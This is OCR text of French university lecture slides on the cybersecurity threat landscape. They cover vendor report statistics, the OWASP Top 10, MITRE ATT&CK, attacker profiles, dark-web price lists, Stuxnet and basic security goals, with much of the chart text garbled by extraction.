Prior Compromise
% atamine
% o _ - ¥/ M Credential >
Compromise  Compromise e Theft %, /
- T 4 4
3 2 T

Mandiant M-Trends, Special report, 2024
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- 2018 2019 2020 2021

Web—Top malicious file types in 2023.

7%
4%
1 1% 9 19
M ]
& Q’ ) P©

69%

Email—Top malicious file types in 2023.

. Checkpoint security
] 40 1 10 :| 1 CC report 2024 EMAIL
& N o
vaS" R ~ & e N Copyright © Jacques Saraydaryan
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Other HTTP
19%

None

39%

MethOdS of HTTP POST
Exfiltration 14%

HTTPGET Raw TCP  Manual
2% 3% 10%

TrustWave GlobalSecurity Report 2019

COE

Mo Persistonce
42%

YON Copyright © Jacques Saraydaryan

Registry
28%

Methods of
Persistence

25%

TrustWave Global Security Report 2019
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Conti ransomware tools Top Violation Types

Secret documents leaked by a Conti affiliate offer a peek into their operations
Code Injection
Privilege Defense Credential Lateral o
mm l4l4 rh
onti

Data exfiltration SQL Injection
10 mega.io
10.9%
TrendMicro Server Information Leakage

remover 5.74%

Cross Site Scripting
I o5 0

Predictable
Resource Locatit
48.5%

SOPHOS lobs Security Misconfiguration
4.08% ) N
Server Misconfiguration File Upload Violation
0.152%
e Application Information Leak
Unauthorized Access Attempt ppiication Information Leakage
hos 2022 Thread o o
Sophos read report URL Access Violation Buffgrﬁ;z;ﬂow
1.12% ‘
Folder Access Violation
1.08%
Cpc Radware global Thread Analysis report 2022
-
L

YON Copyright © Jacques Saraydaryan

68



Les constats de sécuriteée

Comment nous ont-ils attaque ?

2017 2021
A01 Injection AO01 Broken Access Control
A02 Broken Authentication AO02 Cryptographic Failures
A03 Sensitive Data Exposure A03 Injection
A04 XML External Entities A04 Insecure Design
A05 Broken Access Control A0S Security Misconfiguration
A06 Security Misconfiguration A06 Vulnerable and Outdated Components
AQ7 Cross Site Scripting A07 Identification and Authentication Failures
A08 Insecure Deserialization AO08 Software and Data Integrity Failures
A09 Using Components with Known Vulnerabilities AQ9 Security Logging and Monitoring Failures
A10 Insufficient Logging & Monitoring A10 Server-Side Request Forgery

Pantasrcurry

cloud - iot - bleckchain

CPG WEB app Attack: OWASP TOP 10
L

YON
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I I I == | Center
| forThreat

MITRE Informed

ENGENUITY. | Defense

Attack Flow

v2.1.0

Search docs

CONTENTS
Overview
Introduction

B Example Flows

List of Examples

Builder
Visualization
Language
Best Practices Guide
Developers

Translation to OWL/RDF

Changelog

@&  Example Flows

Example Flows

The Attack Flow project includes a corpus of example flows that may be useful for learning about
Attack Flow, studying high-profile breaches, or mining the data for statistical patterns. You can
download the entire corpus from the Attack Flow release page ', or you can view individual flows
on this page. Each Attack Flow is provided in multiple formats:

Builder (.afb)

The format used for creating and editing in the Attack Flow Builder.
JSON (.json)

The machine-readable format for exchanging flows.
Graphviz (.dot)

An example of converting from Attack Flow to another graph format in order to take advantage
of other tool ecosystems. Must install Graphviz '~ to use this format, or use our pre-rendered
Graphviz .png files.

Mermaid (.mmd)

Mermaid (" is another graph format that you can convert Attack Flow into. Notably, Mermaid
graphs can be embedded directly in GitHub Markdown files

List of Examples <

C p G https://center-for-threat-informed-defense.github.io/attack-flow/example_flows/
L

YON

Copyright © Jacques Saraydaryan
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I I I == | Center
= | fOr Threat

INVESTMENT EANKING | LEGAL/REGULATORY

MITRE Informed
JPMorgan Chase Hacking Affects 76 Million Households ENGENUITY. | Defense
BY JF.SSICA SILVER-GREENBERG, MATTHEW COLDSTEIN AND NICOLE PERLROTH TOBER
| 528

User of Patient Zero workstation

5
B PR 7SS Y

i J P\I()R(h\\l CHASE & !

By T Phishing: Spearfishing Link Phishing: Spearfishing Attachment

User of Patient Zero workstation is.
compromised

https://center-for-threat-informed-defense.github.io/attack-

The Manhattan headquarters of JPMorgan Chase, which securities filings revealed was attacked by hacker

RS : flow/ui/?src=..%2fcorpus%2fIJP%20Morgan%20Breach.afb

CR&

71
Copyright © Jacques Saraydaryan
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I I I W | Center
= | for Threat

MITRE Informed

ENGENUITY. | Defense

AMERICA’S CYBER DEFENSE AGENCY
Attack Flow

Topics v Spotlight Resources & Tools v News & Events v Careers v About v

CYBERSECURITY &
INFRASTRUCTURE
SECURITY AGENCY

=

Home [ MNews&Events [/ Cybersecurity Advisories [/ Ale

ALERT

Conti Ransomware

Last Revised: March 09, 2022 Alert Code: AA21-265A

RELATED TOPICS: CYBERSECURITY BEST PRACTICES, CYBER THREATS AND ADVISORIES

C p G https://center-for-threat-informed-defense.github.io/attack-
L

von Copyright © Jacques Saraydaryan flow/ui/?src=..%2fcorpus%2fConti%20CISA%20Alert.afb 72
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The targets of the Lazarus Group

The most affected regions and countries by the Lazarus group malware
Lazarus Group is a highly malicious entity responsible for data destruction as well as conventional
cyber-espionage campaigns targeting financial institutions, media stations, and manufacturing

companies, among others, since at least 2009.

Saudi

° Republic
Q u 1 nou s ® Mexico ¢ USA e Brazil ® Turkey ® Arabia ® Iran ® India ¢ Bangladesh ¢ Russia ¢ China TT(ii‘Jmn ¢ of Korea

Menace ?

¢ Malaysia

Indonesia
®

O
\jw:—;tm.m‘.w ey B,
E Manufacturing
\-I\, Finance

(©) Media

GREAT  KAYPERJKY#
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Internal
Coder, old guard hackers

Newbie/Toolkit

Professional criminals,
Cyber-terrorists

COC

YON Copyright © Jacques Saraydaryan
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Newbie/Toolkit

1 Peu expérimentés

U

Utilisent les outils disponibles (coder, old guard hackers)

O Objectif: attaguent par loisir sans intention de nuire

O Plus expérimentés

O Objectif: Actions malicieuses pour leur propre compte

(défacement de site, vol de cartes de crédit)
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Internal

U

Employés mécontents

(

Utilisent ses privileges existants

O Objectif: Attaquer leur entreprise

Coder, old guard hackers

O Trés grande expertise

(

Passionnés, réalisent des outils d’attaques

d Objectif: Sans intention de nuire, prouesse technique,

reconnaissance dans leur groupe
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Professional criminals,

L Grande expertise
Cyber-terrorists

O Forte organisation
L Organisation criminelle a grande échelle

O Objectif:
= Vols, espionnage, déni de service
=  Alimentent une véritable économie souterraine

COC
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Ransomeware As A Service (RAAS) Malware As A Service (MAAS)

TOX_V ruses Targets of Adwind Malware-as-a-Service Platform

During their investigation, Kaspersky Lab researchers were able to analyze nearly 200 examples of

spear-phishing attacks organized by unknown criminals to spread the Adwind malware.
Summary

Based on information from Kaspersky Security Network, between August 2015 and January 2016 more
than 68,000 users encountered Adwind RAT malware samples as a result of those 200 attacks.

¢ USA eltaly ¢ Germany @ Turkey ® UAE ¢ India ¢ Russia ¢ HongKong ¢ Taiwan

Create a virus ‘ B

@m G

) Shipping,

@) Softwar

DL T t () Mar turing
S @

©) Media &) Er

¥#) Energy @1

Your viruses

GREAT  KASPERJKY2

Kaspersky Security Bulletin 2016
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Qui nous menace ?

The targets of the Lazarus Group
The most affected regions and countries by the Lazarus group malware
Lazarus Group is a highly malicious entity responsible for data destruction as well as conventional

cyber-espionage campaigns targeting financial institutions, media stations, and manufacturing
companies, among others, since at least 2009.

Saudi Republic
® Mexico ¢ USA e Brazil ® Turkey ® Arabia® Iran ¢ India ® Bangladesh ¢ Russia ® China TT;xmm ¢ of Korea

¢ Malaysia

Indonesia
®

: \‘!5 g

Vietnam

E Manufacturing

=8) Finar

) Media

GREAT  KAIPERIKY#
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Qui nous menace?
LIVE CYBER THREAT MAP DON'T WAIT T0 BE ATTACKED

PREVENTION STARTS [NOWS!

1 M
RECENT DAILY ATTACKS TOP TARGETED COUNTRIES

# | Mongolia
a Nepal

mm /ndonesia

Sweden
Netherlands
B8 Georgia

-

Taiwan
ATTACKS @ Current rate 5l

@ Web Server Enforcement Violation
17:03:31 Sweden - Sweden

TOP TARGETED INDUSTRIES

Trojan.WIN32.XMRig.A

17:03:31 Netherlands -+ Israel ® Education

Trojan.WIN32.XMRig.A
17:03:31 Netherlands - Israel

Government

. . | Healthcare
Trojan.WIN32.XMRig.A

17:03:30 Netherlands - Israel
Trojan.WIN32.XMRig.A TOP MALWARE TYPES

17:03:30 Netherlands - Israel

Trojan.WIN32.XMRig.A
17:03:30 Netherlands - Israel % Adware

Trojan.WIN32.XMRig.A e ) ® Phishing
Malware Phishing @ Exploit

17:03:30 Netherlands ~ Israel
*#* Backdoor

https://threatmap.checkpoint.com/
Copyright © Jacques Saraydaryan
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Corporate/Internal Network

34% Ransom
13% Financlal Data

2% CHP (E-commerce)
18% User Credentlals

15% Pl
N%  Proprietary
7% Crypto Mining

COMPROMISES BY TYPE OF DATA TARGETED

14%
25%

13%
21%
18%
4% 7%
1%
8% 10%
13% 5%
6%
3%

€D €D

E-Commerce
15% Financlal Data
74% CHP (E-commaerce)

4% User Credentlals
7% Pl

42% Financlal Data

6% CMP (E-commerce)
15% User Credentlals
18% Pl

6% Proprietary

13% Crypto Mining

25% Proprietary

TrustWave Global Security Report 2020 959  Card Track Data

TrustWave Global Security Report 2020

COC .
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& E
% pRINCETOX Verifone: ") LY

Princeton University
is among 27,000
victims to have their
data wiped by the
MongoDB
vulnerability.

Verifone, the giant
in credit and debit
card payments,
has its
point-of-sales
solution attacked.

Emmanuel Macron,

a presidential candidate, has
9GB of sensitive documents
leaked in an attempt to
sabotage France’s
presidential elections.

CopyCat, a mobile malware,
infects over 14 million Android
devices worldwide and earns

the attackers
$1.5 million in fake ad

revenues in just two months.

A A

A

v

EQUIFAX'

Equifax, a large credit
agency, has 143 million
customers’ data stolen
including social security

numbers, credit card

details and more.

A

UBER

57 million Uber driver
and customer details
are stolen in an AWS
account hijack. Uber
pays $100,000 to
cover up the breach.

A

PlayStation. JRNPOS
2.5 million Xbox and

PlayStation user
profiles, including
names, emails and
personal IDs, are

Major Cyber Attack of 2017

COE

LYON

The New York Post
mobile app is hacked
and sends out a
flurry of fake news
alerts.

MAERSK

Following WannaCry
in May, Petya causes
mass disruption
worldwide to FedEx,
Maersk, WPP and
many others.

\/

YKPMOLWTA

rONOBHA MOLWTA KPAIHW

The Ukraine's
national Post Office
is targeted in a DDoS

attack to disrupt
national operations.

CheckPoint Security Report 2018

Copyright © Jacques Saraydaryan

\

y The,
€; National
Lottery®

A large DDoS attack
brings down the UK’s
National Lottery,
preventing millions
from buying tickets.

\/

bitcoin

Crypto-currencies
mining platform
NiceHash is
compromised and
loses 4,700 bitcoin
($70 million] to
hackers.
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Les constats de sécurité

Qui nous prennent-ils ?
World's Biggest Data Breaches & Hacks

Selected events over 30,000 records
UPDATED: Sep 202z
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2022 _ ; . @ -
COEK } fnnf_m:r @
" rgcing
*%’fi. i Thalland

&5 s visitors

100,000,000

Experi Facebook Shanghai
203 Brazil | Police
razil 533,000,000 \
220,000,000
Microsoft
250,000,000
ot 2 Syniverse
Canva
139.000.000 :
2020 Dub h » Pakistani
“ 11 O?JTJGOSD , S mabile

\ . N = operators
Bh * ) ar I‘r‘.ci iGn 115,000,000
4 citizens .

Capltal 275,000,000

One Facebook L

100,000,000 420,000,000

OxyData

[r 380,000,000
. Haaute| adk ‘.m
m:k-; Houzz \
Chinese ‘ \

resume

Quora
100,000,000 TickerFly
MyHeritage A

leak
202,000,000 -y LocalBlox ’ o sy
- Nametests Brasil
A a— ® 120,000,000 P e

v

OOOig-+ -

C p G http://www.informationisbeautiful.net/visualizations/worlds-biggest-data-breaches-static/
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Les constats de sécurité

Qui nous prennent-ils ?
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Credit Cards

Bank Accounts

Email Passwords

Mailers

Email Addresses

Proxies

Full Identity

Scams

Social Security Numbers
Compromised UNIX® Shells

Source: Symantec Corporation
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22%

21%
8%
8%
6%
6%
6%
6%
3%
2%

$0.50-%5
$30-$400
$1-$350
$8-$10
$2/MB-$4/MB
$0.50-%3
$10-$150
$10/week
$5-%7
$2-$10

Copyright © Jacques Saraydaryan

Average prices of cybercrime services for sale in 2021

Information: these illicit things are sold on the dark web. The dark web is a network-encrypted area
that requires special software to access. Furthermore, most marketplaces require an invitation to
enter. Cybercriminals use this method to shield themselves from unwanted attention.

Spearphishing for hire (per successful
account takeover)

Denial of Service (DoS)

Attack for hire

Ransomware kits (paid upfront)

Stolen username and password pairs
(1000 pairs per package)

Compromised PCs/Devices |~$0.51

0f $50 $100 $150 $200 $250 $300 $350 $400 $450 $500 $550
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ui nous prennent-ils ?

Home BuyCC  CCOrders  BuyDumps Dump orders  BinLookup  Checker  Tickets Hella, Cart{0y 0.0§ Balance:’ Add money  Replace policy Logout

rad Mozilla Firefox Google Chrome Opera

Country Dump type Dump mark Debit/Credit
w All hd All v All “
Bins Bank & State & City Base and other Additional
Al “ Al w [ Expired 1243
Al W |:| Track1
All b

Select code

ind the bin you were looking for? Need more dumps of particular bin? Try our partner’s shop - - 500k of fresh dumps Clear
Bin Card Debit/Credit Mark Expired Track 1 Code Country Bank Base Price Cart
S51686 K3 MASTERCARD DEBIT STANDARD 1114 ez 101 S5 United States, CHEMICAL BAMK Toruga-G (< ZEEE +
Ml GRAND
RAFIDS, 49512

414709 o WISA CREDIT SIGNATURE 02716 Yes 101 & United States, CAPITAL ONE Tortuga-§ (2 39.2§ S

P&, HARRISBURG, BANK (USAY HLA,

17111 Cump or e of this

particular bank

(BIM) cannot be
replaced ar
refunded.

S12107 K MASTERCARD CREDIT GOLD 026 ez 101 =5 United States, CITIBANK N.A. Tortuga-& (¢ 44 2§
AZ, MESA, 25206 Lump or ee of this
particular bank
{BIN) cannot be
replaced or
refunded.

http://krebsonsecurity.com/2013/12/cards-stolen-in-target-breach-flood-underground-markets/
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Les constats de sécurité

. . DARK WEB
Duil nous prennent-ils ? PRICE INDEX 2022

GrapHs SHow AN Averace Price N USD

What is your personal information worth?

You might not know it by watching the news, but several corporations and
organizations have been victims of cyber attacks between 2020 and 2022.
In fact, they've been some of the worst years for cybersecurity (so far),
causing tons of information to end up on the dark web for sale.

N

orged Documegy. ¥ & @O , Email
4 : aoinstal € 4, g Database

%,
%, Dumps

e Accounts w

L7
ey o
" pracessing seN®

Categories:

B Forged Documents — Physical
Malware

B Payment processing services
Crypto Accounts

Il DDOS Attacks

2 Forged Documents — Scans
Hacked Services
Social Media
Credit Card Data
Email Database Dumps

https://www.visualcapitalist.com/wp-content/uploads/2022/11/Charted-The-Dark-Web-Price-Index-2022-Full.html
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Les constats de sécurité

SumUp

d Augmentation de la connectivité de la complexité et des applications

- Augmentation du nombre de vulnérabilités

O Evolution de l'usage des Systémes d’information, augmentation des

transactions financieres, des connexions, des données sensibles

- Augmentation des menaces
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Les constats de sécurité

SumUp

Other 2% 2% Don’t Know/None
12%

Lack of C-Level Awareness

27%

Too Little Manpower

What is your
major obstacle
when it comes to
countering
cyber-attacks?

17%
Unsuitable/Outdated
Technologies

20%
20% Missing Budgets
Lack of Expertise

Figure 12: What is your major obstacle when it comes to countering cyber-attacks?
Radware global Application & Network Security report 2016-17

COC

YON




Les enjeux de la sécurité

Les enjeux de
la sécurité

Etat d’urgence ?

C pug Copyright © Jacques Saraydaryan




Les enjeux de la sécurité

Un état d’urgence ?

d Menaces présentent avérées et prouvées

O Sécuriser colte de I'argent et du temps = engagement modéré des décideurs

O Attentisme des organisations/compagnies face a la menace
O Silence radio lors d’attaques
=  Pourquoi?
= Perte de confiance des utilisateurs/partenaires
= Peur d’une escalade d’exploitation de la breche de sécurité.
- Etude de la faille de sécurité tardive,
— Continuité des transactions (escalade)

- Niveau de menace difficilement quantifiable
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Les enjeux de la sécurité

Un état d’urgence ?

Information Warefare

Démentir
Exploiter
Corrompre

Détruire

Les information et les fonctions de son ennemi
tout en se protégeant soit méme contre ces
actions

CR&



Les enjeux de la sécurité

Un état d’urgence ?

Nation

MINISTERE
DE LA DEFENSE

Art de la guerre:
Communications coupées
Vol d’informations secret
défense
Attaques de sites
stratégiques

COC

YON

Compagnies

Art de la guerre:

Arrét d’activités

Vol de données sensibles
(prototype, portefeuille client)

Atteinte a la réputation
(défacement...)

Copyright © Jacques Saraydaryan

H
Nous tous
ab

Vol d’informations
personnelles (cb,email, images)
Vol d’argent

Usurpation d’identité
Exploitation de nos
ressources
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mmm HOW STUXNET WORKED mess—

UFPDATE FROKM SOURCE

BE-i-5-=
e\

1. infection

Stuxnet enters a system via a USB stick and
proceeds to infect all machines running
Microsoft Windows. By brandishing a digital
certificate that seems to show that it comes
from a reliable company, the worm is able to
evade automated-detection systems.

(N
el

2. search
Stuxnet then checks whether a given
machine is part of the targeted indus-

trial control system made by Siemens,

Such systems are deployed in Iran to
run high-speed centrifuges that help
to enrich nuclear fuel,

:_E)' —
| [E
= | —

3. update

If the system isn't a target,
Stuxnet does nothing; if it is,
the worm attempts to
access the Internet and
download a more recent
version of itself.

=000

N—— =

[N}
e

(W]
p—

g | s [ s | = =
| — [ | —
4, compromise 5. control

The worm then compromises the
target system’s logic controllers,
exploiting “zero day” vulnerabilities-
software weaknesses that haven't
been identified by security experts.

In the beginning, Stuxnet spies on the
operations of the targeted system. Then it
uses the information it has gathered to
take control of the centrifuges, making
them spin themselves to failure.

E

6. deceive and destroy
Meanwhile, it provides false feed-
back to outside controllers, ensur-
ing that they won't know what's
going wrong until it's too late to do
anything about it.
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Les enjeux de la sécurité

Un état d’urgence ?

Phishing Site -

Malware Download Site _

Web Server

Warez/Piracy Server /

Child Pornography Server /
Spam Site /

Webmail Spam ;

Stranded Abroad Advance Scams \ >
Harvesting E-mail Contacts &E—Mall Attacks

Harvesting Associated Accounts

Access to Corporate E-mail /

Online Gaming Characters /

Online Gaming Goods/Currency |

\ Virtual Goods ,
PC Game License Keys >———‘

Operating System License Key ),

Facebook

Twitter |

—\ Reputation Hija ckmg
Linkedin _){

Google+ /

\ Financial Credentnalsj/ —

_Spam Zombie

"“$ DDoS Extortion Zombie

Bot Activity

\\_Click Fraud Zombie
\ Anonymization Proxy
\ CAPTCHA Solving Zombie

eBay/Paypal Fake Auctions

| Online Gaming Credentials

“\__Account Credentials ( “Web Site FTP Credentials
\Skype/VolP Credentials

\_Client Side Encryption Certificates

Bank Account Data
Credn Card Data

‘\\ Stock Trading Account

\ Mutual Fund/401k Account

_Fake Antivirus

/
Ransomware

\ Hostage Attacks |
<r' Email Account Ransom

\_ Webcam Image Extortion

http://krebsonsecurity.com/2012/10/the-scra p-value-of-a-hacked-pc-revisited/

pL Copyright © Jacques Saraydaryan
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Les enjeux de la sécurité

Un état d’urgence ? |

20.8 billion

Internet-connected things

N
Kl The insecurity of things

Medical devices. Researchers have found

J
9‘

Cars. Fiat Chrysler recalled 1.4 million vehicles & arche
,.,m\:u attack where they managed to
take ¢ emotely In the UK, lhleves hacked
keyless emry systems to steal cars.

25 connected
8 5@ devices per

] 100 inhabitants

of il
4.9 billion / ~ P,
3.9 blII|on O r \j' <)
v

2014 2015 2016

6.4 billion

C p G Symantec, ISTR, Internet Security Threat Report, 2016
L
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Les enjeux de la sécurité

Un état d’urgence ?

OMPU I ERWORLL A hacker tried to poison a Florida city's water supply

NEWS ANALYSIS

Black Hat Europe: It’s easy and costs only $60 to
hack self-driving car sensors

ATTACKING AUTONOMOUS VEHICLE SENSORS

By Rob Thubron on February 9, 2021, 5:16 AM

F

GPS.802.1 I | '® . ——LIDAR

£ o> Camena
AT > First on CNN: U.S. investigators find
AT = ) proof of cyberattack on Ukraine power
On-Board Unit, err e ——— NS Q B e pore, N s Reprer

RADAR

WTF?! Most hacks have an end goal of financial gain, causing disruption or stealing data, but
an incident at a Florida city had a more sinister aim: poisoning the water supply. Local and
federal law enforcement are now investigating the failed hack, which saw the perpetrator or
perpetrators gain remote access to the local water treatment plant.
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Les enjeux de la sécurité

UI‘I. éta.t d. ’urgence ? Contre quoi se protége-t-on ?

Classification des attagues basées sur la provenance (leur
source) de la menace
1 Networking : Menaces utilisants des flux de packets contre

LI1 Heartbleeq

un réseau

1 Human : Attaques basées sur des actions humaines

(‘5\]

(oY
l “-i.“'t‘“e‘
13 oW 4et

5
Qﬂ
M
b
{.3 Man-in-the-
midale

O Physical : Résultat d’'une tentative d’effraction sur le

hardware ou sa configuration (pouvant introduire des backdoor)
O Host-Based: Attaques ciblants des machines ou systémes
avec un programme malveillant afin de compromettre les

fonctionnalités du systemes

O Software: Attaques ciblants des machines ou systémes

avec des procédés permettant de compromettre les

Hindy, Hanan, et al. "A taxonomy of network threats and the effect of current fonctionnalités du svstemes
Cpc datasets on intrusion detection systems." IEEE Access 8, 2020 Y
L
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Les enjeux de la sécurité

UI‘I. éta.t d. "I:I.I‘g'el‘l.ce ? Contre quoi se protége-t-on ?

O Networking : Menaces utilisants des flux de packets contre

un réseau

x«e& X
Q <O ,,r\'\ 0SI Model ' Application ' Presentation ' Session ' Transport ' Network ' Data Link ' Physical
/’ Y H H H H H H H
P TCP/IP Model | H Application H H Transport H Internet H NetworkiAccess
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- \‘\/ d ] C 1.Networking D)
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K 00.?'5‘\% ’.,./\\ 1.1 Do / DDoS
’('l //../ . \ 1.1.1 Flood

Y
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/ A i {1.1.1.6 85L
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A 1.1.1.4 SYN Flood
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\ x} 165 v g U {112 Amplificz

F
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f 214 Spyware | ., . ;

| 1. Networking | goymeration |
IS

1.1.3 Protocol Exploit

%*"" ~~~~~~~~~~~~ ~<§ 2. Host-Based |

é J1.1.5 Buffer
g _overflow
et

| 2,15 Trojans |
% ww"ww\ ‘ 1.4 Man-in-the-browser )
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1.8 VLAN Hooping

1.8.2 Double

1.11 Heartbleed 19 Probing 5

\4/

Hindy, Hanan, et al. "A taxonomy of network threats and the effect of current
Cpc datasets on intrusion detection systems." IEEE Access 8, 2020
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Les enjeux de la sécurité

.....

! !
3.1 Information 5. Human 5.5 Repudiation|

Gathering \ /
_ Gathering
V32 Code- :
\ injection «‘.}w \
‘i{ 3 ~ e
\ﬁgﬁ,‘fv ‘2
5 -
o 2
N i
=
[l
‘T*W“T’A
[ g
| £\
| &\
BA
AR R

Hindy, Hanan, et al. "A taxonomy of network threats and the effect of current
Cpc datasets on intrusion detection systems." IEEE Access 8, 2020

LYON

)

O Human : Attaques basées sur des actions humaines
O Physical : Résultat d’'une tentative d’effraction sur le

hardware ou sa configuration (pouvant introduire des backdoors)

0SI Model Application Presentation ' Session Transport Network Data Link Physical
TCP/IP Model Application Transport Internct NetworkiAccess
~
( 2. Host )
J
[21 Malware]——
~
3. Softw: )
J
3.2.8 Shellcode)




Les enjeux de la sécurité

UI‘I. éta.t d. ’urgence ? Contre quoi se protége-t-on ?

O Host-Based: Attaques ciblants systémes avec un programme
O Software: Attaques ciblants des systémes avec des procédés

permettant de compromettre le systemes

OSI Model Application Presentation Session Trans port. Network Data Link Physical

TCP /TP Model Application Transport Internet Network!Access

( 4. Physieal

Hindy, Hanan, et al. "A taxonomy of network threats and the effect of current
datasets on intrusion detection systems." IEEE Access 8, 2020
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Les enjeux de la sécurité

UII. état d. ) 'I.'I.I‘g' ence ? Contre quoi se protége-t-on ?

ATT&CK Ma'[r'i}{ for Eﬂterprise https://attack.mitre.org/matrices/enterprise/

Reconnaissance Resource Initial Access Execution Persistence Privilege Defense Evasion Credential Discovery Lateral Collection Command and Exfiliration Impact
Development Escalation Access Movement Control
10 techniques 7 techniques 9 techniques 12 techniques 19 techniques 13 techniques 42 techniques 16 techniques 30 techniques 9 techniques 17 techniques 16 techniques 9 techniques 13 techniques
Active Scanning (3 Acquire Drive-by Command and Account Abuse Elevation Abuse Elevation Adversary-in- Account Discov Exploitation of Adversary-in- Application Automated Account Access
Infrastructure (g Compromise Scripting Manipulation (5) Control Caontrol Mechanism (4) the-Middle (3) Remote the-Middle (3 Layer Exfiltration (1) Removal
Gather Victim Host Interpreter (g) Mechanism (a) Application Window Services Pratocol (4
Information (g Compromise Exploit Public- BITS Jobs Access Token Brute Force (4) Discovery Archive Data Transfer Data Destruction
Accounts z) Facing Container Access Token Manipulation (s Internal Collected Communication Size Limits
Gather Victim Identity Application Administration Boot or Logen Manipulation s Credentials Browser Bookmark Spearphishing Data 3 Through Data Encrypted for
Information ¢z Compromise Command Autostart BITS Jobs from Password Discovery Removable Exfiltration Impact
Infrastructure (g External Execution (14 Boot or Logen Stores s5) Lateral Tool Audio Capture Media Over
Gather Victim Remote Deploy Container Autostart Build Image on Host Cloud Infrastructure Transfer Alternative Data
Network Develop Services Boot or Logon Execution (14 Exploitation for Discovery Automated Data Protocol (g) Manipulation )
Information (g Capabilities (g) Exploitation for Initialization Debugger Evasion Credential Remote Collection Encoding (7
Hardware Client Execution Scripts (s Boot or Logon Access Cloud Service Service Exfiltration Defacement (z)
Gather Victim Org Establish Additions Initialization Deobfuscate/Decode Dashboard Session Browser Data Over C2
Information (g) Accounts (z) Inter-Process Browser Scripts () Files or Information Forced Hijacking (z) Session Obfuscation (3) Channel Disk Wipe (2)
Phishing (3 II! Communication (g Extensions Authentication Cloud Service Hijacking
Phishing for Obtain Create or Deploy Container Discovery Remote Dynamic Exfiltration Endpoint Denial of
Information ¢z Capabilities (g) Replication Native API Compromise Modify System Forge Web Services (g) Clipboard Data Resolution (3 Over Other Service (4)
Through Client Software Process (4 Direct Volume Access Credentials (z) Cloud Storage Object Network
Search Closed Stage Removable Binary Discovery Replication Data from Encrypted Medium 1y Firmware
Sources (2 Capabilities (s) Media Domain Policy Domain Policy Input Through Cloud Storage Channel Corruption
Create Modification z Maodification z) Capture (4 Container and Removable Object Exfiltration
Search Open Supply Chain Shared Modules Account (3 Resource Discovery Media Fallback Over Physical Inhibit System
Technical Compromise (3) Escape to Host Execution Guardrails (1) Modify Data from Channels Medium g1y Recovery
Databases (5 Software Create or Authentication Debugger Evasion Software Configuration
Trusted Deployment Tools Modify System Event Triggered Exploitation for Process (s Deployment Repository (2 Ingress Tool Exfiltration Metwork Denial of
Search Open Relationship Process (4) Execution 15y Defense Evasion Domain Trust Tools Transfer Over Web Service ()
Websites/Domains (2) System Services (2 Multi-Factor Discovery Data from Service (2)
Valid Event Triggered Exploitation for File and Directory Authentication Taint Shared Information Multi-Stage Resource
Search Victim-Owned Accounts (g) User Execution (g Execution (15) Privilege Permissions Interception File and Directory Content Repositories (g) Channels Scheduled Hijacking
Websites Escalation Maodification (2 Discovery Transfer
Windows External Remote Multi-Factor Use Alternate Data from Non-Application Service Stop
Management Services Hijack Hide Artifacts 1) Authentication Group Policy Discovery Authentication Local System Layer Protocol Transfer Data
Instrumentation Execution Request Material (4 to Cloud System
Hijack Flow (12 Hijack Execution Generation Network Service Data from MNon-Standard Account Shutdown/Reboot
Execution Flow (12 Discovery Network Port
Flow (12) Process Network Shared Drive
Injection (12 Impair Defenses (g Sniffing Network Share Protocol
Implant Internal Discovery Data from Tunneling
Image Scheduled Indicator Removal on 0S Credential Remaovable
Task/Job 5 Haost (g) Dumping (g) Network Sniffing Media Proxy (g) u
Modify
Authentication Valid Indirect Command Steal Password Policy Data Staged (z Remote Access
Process (s) Accounts (g) Execution Application Discovery Software
Access Token Email
Office Masquerading ) Peripheral Device Collection (3 Traffic
Application - Steal or Forge Discovery Signaling (1
Startup (g) Modify Authentication Kerberos Input
Process (5 Tickets 4 Permission Groups Capture (4 Neb Service (3)
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Les enjeux de la sécurité

UI‘I. état d. "I:I.I‘g'ence ? Contre quoi se protége-t-on ?

Flow of a typical PHOSPHORUS compromise from spear phish

S.&‘ .

RECONNAISSANCE DELIVERY EXPLOITATION COMMAND & CONTROL ACTIONS ON OBJECTIVE
Social Spoofing Phishing Spoofing Use Compromised Remote Access / Control Exfiltrate Data
Engineering Credential

—r=> [

=

Attacker sends spoofed Attacker requests target send URL in PDF links to a known Attacker logs into the victim
conference invitation to picture and bio credential harvesting page mailbox

Exfiltrates a copy of the
mailbox, contacts

target

Attacker adds to password Victim clicks and enters Establishes persistent access
Target accepts invitation protected PDF with short URL credentials to capture new email

C p C Microsoft digital defense report october 2021
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Les enjeux de la sécurité

UI‘I. éta.t d. ,urgence ? Contre quoi se protége-t-on ?

ﬁﬁ Return to factory Reconnaissance
n + Employee takes OT device back to their S Attacker finds an employee on social media
0 place of work, such as at a factory. e who talks about:
* The factory trusts the hardware/OT device g * Their employer.
+ Payload timed to go off (e.g. programmed e : » The TV they bought a few years ago.
to the DNS change; no longer on home « OT they are working on at home.
network).
FINISH START
Xl Email
-0)-=- Work from home _
/ Eroi : b heir busi Attacker sends email or direct message to the
1Nt n
mployee :oint‘l.uesa oqtt \eir business, - < employee. Rather than attacking their laptop
MlaWeic Of SCIEOMpEaTRe. or phone, attacker targets the TV on their
home network.
Attacker wants to
sabotage a factory
Lateral movement Exploit
« Attacker moves from TV to the OT device . » lo1, without endpoint protection and
that the employee took home. The OT auditing, is a safe place for an attacker
device is now vulnerable to previously to hide.
patched vulnerabilities » The attacker searches the employee’s home
= Attacker uses exploit and installs network for the employee’s work device or
backdoor/payload. OT device.
= Payload lies about version. » Can downgrade firmware, use exploit and
install backdoor/payload.
C C Microsoft digital defense report october 2021
-
p 105
L
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Les enjeux de la sécurité

Une prise de conscience ?

P
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% page loads over HTTPS

0%

== Android-—==—Windows

Mac

Jul 2015

Jan 2016

Jul 2016

Jan 2017

Jul 2017

Copyright © Jacques Saraydaryan
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Say "yes" to HTTPS: Chrome secures the
web, one site at a time
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Les enjeux de la sécurité

Les enjeux de
la sécurite

Les bases de la sécurité
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Les enjeux de la sécurité

Comment se PrOtéger P Les bases de la sécurité

JohnManuel http://en.wikipedia.org/wiki/File:CIAJMK1209.png
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http://commons.wikimedia.org/wiki/User:JohnManuel
http://en.wikipedia.org/wiki/File:CIAJMK1209.png

Les enjeux de la sécurité

Comment se PrOtéger P Les bases de la sécurité

 Les Objectifs de la sécurité

»  Confidentialité

= |ntégrité

= Disponibilité (Availability)

Confidentialité
Empécher toute divulgation d’information a des personnes,

programmes ou équipements non autorisés
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Les enjeux de la sécurité

Comment se PrOtéger P Les bases de la sécurité

 Les Objectifs de la sécurité

»  Confidentialité

= |ntégrité

= Disponibilité (Availability)

Integrite
Assurer que les informations stockées, transmises et recues
n‘ont pas été modifiées pas une entité non autorisée. Toute

modification d’information entraine un viol d’intégrité et

doit étre détecté.

COC
